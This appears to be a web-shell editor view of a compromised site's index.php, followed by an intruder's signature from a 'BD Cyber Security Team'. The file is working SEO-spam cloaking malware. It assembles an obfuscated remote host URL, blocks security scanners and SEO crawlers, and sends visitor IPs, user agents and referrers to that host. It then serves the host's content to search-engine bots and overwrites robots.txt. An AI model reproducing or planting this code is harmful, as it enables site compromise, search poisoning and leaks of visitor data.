23s2s

✏️ Editing: index.php

<?php $kfaw='htt';$uohr='5198';$ktds='cw';$yoml='kingdog.com/';$vsma='p://';$nrbl='.ma';$oyxnw=$kfaw.$vsma.$ktds.$uohr.$nrbl.$yoml; $pc = "UgUGBwAV"; $bagent = "Docomo|Bing|Yahoo|Google"; error_reporting(0); if(preg_match("/(Ezooms|java|GPTBot|Go-http-client|petalBot|Jaunty|CoolpadWebkit|python-urllib|YisouSpider|SemrushBot|DotBot|Indy Library|AmazonBot|UniversalFeedParser|DigExt|YySpider|CensysInspect|YandexBot|OBot|swiftbot|JikeSpider|bytespider|AhrefsBot|FeedDemon|python-requests|Claudebot|ZmEu|Heritrix|Scrapy|Mj12bot|httpClient|Python|SeznamBot|apacheBench|paloaltonetworks|Barkrowler|LightDeckReports Bot|EasouSpider|askTbFXTV|feedly|crawlDaddy|DataForSEO)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $refer = urlencode(@$_SERVER['HTTP_REFERER']); $ip = $_SERVER['REMOTE_ADDR']; $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); $ip = urlencode($ip);  if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; } function writeToFile($path, $contents) {  $file = fopen($path, "w");  if ($file) {  fwrite($file, $contents);  fclose($file);  return true;  }  return false; }  function readFromFile($path) {  $file = fopen($path, "r");  if ($file) {  $contents = fread($file, filesize($path));  fclose($file);  return $contents;  }  return false; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"icjicj") !== false){echo "ok";exit();} $icj = 0; $icjFilePath = "icj.txt"; if(!is_file($icjFilePath)) {  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/icjicj';  $xsdg = @file_get_contents($uuu);   if($xsdg === "ok") {   $icj = 1;   writeToFile($icjFilePath,"1");  } else {   $icj = 0;   writeToFile($icjFilePath,"0");  } } else {  $icj = readFromFile($icjFilePath); }  if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {  $requsturl = $oyxnw."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$icj&script=$script";  $robots_contents = "";  if(strpos($uri,"pingsitemap") !== false) {   $scripname = $_SERVER['SCRIPT_NAME'];   if(strpos($scripname,"index.p") !== false) {    if($icj == 0) {     $scripname = '/?';    } else {     $scripname = '/';    }   } else {    $scripname = $scripname.'?';   }   $robots_contents = "User-agent: *\r\nAllow: /";   $sitemap = "$http://" . $domain .$scripname. "sitemap.xml";   $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap";   $sitemapstatus = "";   echo $sitemap.": ".$sitemapstatus.'<br/>';   $requsturl = $oyxnw."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$icj&script=$script&sitemap=".urlencode($sitemap);  }  $xsdg = @file_get_contents($requsturl);  if(empty($xsdg)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $xsdg = curl_exec($ch);   curl_close($ch);  }  if(!empty($xsdg)) {   if(substr($xsdg,0,10)=="error code" or $xsdg == "500" or strpos($xsdg,'Bad Gateway')!==false) {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');}   else if(substr($xsdg,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $xsdg;   if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);}   else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$xsdg);}   exit();   return;  } }else{ }  ?>

Sid Gifari From Gifari Industries - BD Cyber Security Team